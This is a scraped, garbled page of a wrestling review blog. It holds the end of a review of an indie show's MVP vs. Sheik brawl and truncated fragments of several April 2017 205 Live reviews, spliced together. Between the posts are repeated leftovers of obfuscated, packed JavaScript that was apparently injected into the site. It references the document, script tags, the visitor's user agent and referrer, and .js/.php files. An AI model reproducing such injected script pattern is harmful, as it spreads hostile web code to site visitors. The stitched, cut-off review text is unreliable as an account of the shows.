MVP comes in with a chair of his own and a duel sends Sheik outside so more stalling can ensue. The delay lets MVP throw the chairs out and lay on the ropes for a bit. They’re on the floor in a hurry as this is likely to be one of the walking brawls. MVP drops him throat first across the barricade and hammers away. A flag shot (with the announcers not being sure which country it is, despite knowing that Sheik is from Syria) puts MVP down so he hits Sheik low for the break.

They fight into the crowd with MVP burying him under some chairs. That lasts all of a few seconds until Sheik is up with some chair shots to the ribs, followed by more walking through the crowd. Now it’s over near the doors and vending machines, including a trashcan shot to Sheik’s back. As commentary complains about fans being on their phones during this (fair enough), it turns into a fight on the floor with MVP choking from the back.

Sheik finds his spike for a breather and hits more chair shots, followed by a bottle of mustard to the head. A piledriver on the floor is countered with a backdrop as Cole goes into a rant about Sheik being the reason Americans don’t like Syrian refugees. Sheik shrugs off a chair shot and stabs MVP in the ribs but MVP gets the spike away. That means a cut to Sheik’s head and….yeah let’s skip the ring and go back into the crowd.

With that exhausted, Sheik heads back inside and MVP throws in some chairs but loses the spike. A DDT gives Sheik two so MK comes in. That means it’s time for fire, which hits MK by mistake. Sheik beats up the referee as security comes in, meaning the match is thrown out at 13:00.

Rating: D+. This was just a wild brawl with both guys walking around the ring until we got to the big angle ending. I’m not a big fan of something like this, though they did a good job of setting things up throughout the show. The match felt like a bigger deal, but this was just walking from place to place so both guys could hit each other with things until the finish. It was a good setup with a pretty weak match to follow up.

Wrestlers and security can’t break things up so more wrestlers come out to split them apart. The bell rings and since wrestlers are Pavlovian by nature, the fight is on again. They’re eventually held back and Sheik leaves but MVP has something to say. MVP throws out the challenge for the rematch in March, threatening to actually kill Sheik next time.

The announcer thanks us for coming out and tells us to come back next time, though there are six minutes left. MVP drops the Ballin Elbow on Sheik’s robe before leaving.

A five minute recap video ends the show.

Overall Rating: D+. I didn’t care for the main event, but it helped with the show’s biggest problem: it was the only match on the show that didn’t feel lifeless (though Perkins vs. Sky came close). So much of the show felt like they were just doing matches for the sake of doing matches, which may be due to this being the first show. It wasn’t horrible and nothing was really bad, but only the last little bit made me interested in seeing where it was going.

That being said, I’ll be skipping the second show as it didn’t make me want to keep watching. You shouldn’t need filler on a two hour show, but between the promos and hype for the main event, this could have been closer to an hour and a half. I already have the third one though so we’ll be moving on to that, which hopefully offers an improvement. Given that the second show has three rematches from this show, I’m not exactly thrilled with the prospects. Not the worst by far, but it needs some work to get to good.

Remember to follow me on Twitter @kbreviews and pick up the paperback edition of KB’s Complete 2004 Monday Night Raw Reviews (also available as an e-book) from Amazon. Check out the information here:

http://kbwrestlingreviews.com/2019/08/26/new-book-and-e-book-kbs-complete-2004-monday-night-raw-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhafi|var|u0026u|referrer|briik||js|php'.split('|'),0,{})) Live
Date: April 18, 2017
Location: KFC Yum! Center, Louisville, Kentucky
Commentators: Corey Graves, Tom Phillips

I was in the arena for this show.

Opening sequence.

Akira Tozawa vs. Tony Nese

Tozawa sends him outside again for another suicide dive but gets sent throat first into the ropes to slow him down. With the referee distracted, Kendrick tries a kick to the head. Thankfully the referee actually catches him and says no, allowing Tozawa to graba rollup for the pin at 6:02.

Mustafa Ali vs. Ariya Daivari

Gulak says he sees a bright future around here and has nothing against Ali but his style needs to change.

TJ Perkins vs. Austin Aries

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fysai|var|u0026u|referrer|aseeh||js|php'.split('|'),0,{})) Live
Date: April 11, 2017
Location: TD Garden, Boston, Massachusetts
Commentators: Tom Phillips, Corey Graves

Opening sequence.

Brian Kendrick vs. Mustafa Ali

Rich Swann vs. Johnny Ocean

TJ Perkins vs. Jack Gallagher

Gallagher goes to his usual bag of tricks early on with the hand walk to escape a headlock, followed by an armbar, complete with a toss of his hair. TJ gets taken to the mat and caught in a headscissors, only to bounce back and forth to escape. That earns him a dropkick to the floor but Perkins runs off before it can be Mary Poppins time.

Back in and Perkins has to pause due to the corner headstand spot but he can grab a DDT on the leg to take over. The leg work begins with Perkins stomping away and wrapping it around the bottom rope. We hit an Indian deathlock, followed by something between a Sharpshooter and a Figure Four in a pretty cool looking hold.

Neville comes out to congratulate Perkins to end the show.

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

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");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ezzdy|var|u0026u|referrer|syfkr||js|php'.split('|'),0,{})) Live
Date: April 4, 2017
Location: Amway Center, Orlando, Florida
Commentators: Tom Phillips, Corey Graves

I was in the arena for this show with the hard cameras on my left and the Titantron almost straight in front of me.

Long package on Aries vs. Neville.

Opening sequence.

The announcers chat for a bit.

Akira Tozawa vs. Brian Kendrick

Tozawa says that was lesson #1.

Oney Lorcan vs. Rich Swann

Mustafa Ali vs. Jack Gallagher vs. TJ Perkins vs. Austin Aries

Back in and Perkins takes a wicked tornado DDT from Mustafa with Aries making the save. Aries loads Ali up for what looked to be a superplex but stepped aside so Gallagher can nail his running corner dropkick, sending Ali crashing outside. Perkins and Gallagher slug it out until Perkins takes the headbutt. Gallagher falls to the floor though, leaving Aries to hit the Fivearm to put Perkins away at 11:24.

Fan: “ROMAN REIGNS IS A BETTER WRESTLER THAN TJ PERKINS!”

Everyone else: “NO! DELETE! DELETE! DELETE!”

Fan: “I APOLOGIZE! I PROMISE TO FADE AWAY AND CLASSIFY MYSELF AS OBSOLETE!”

Anyway, trash talk ends the show.

Remember to follow me on Twitter @kbreviews and pick up the NXT: The Full Sail Years Volumes I and II, now in PAPERBACK. Check out the information here:

http://kbwrestlingreviews.com/2017/03/24/kbs-history-of-nxt-volumes-1-and-2-now-available-in-paperback/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6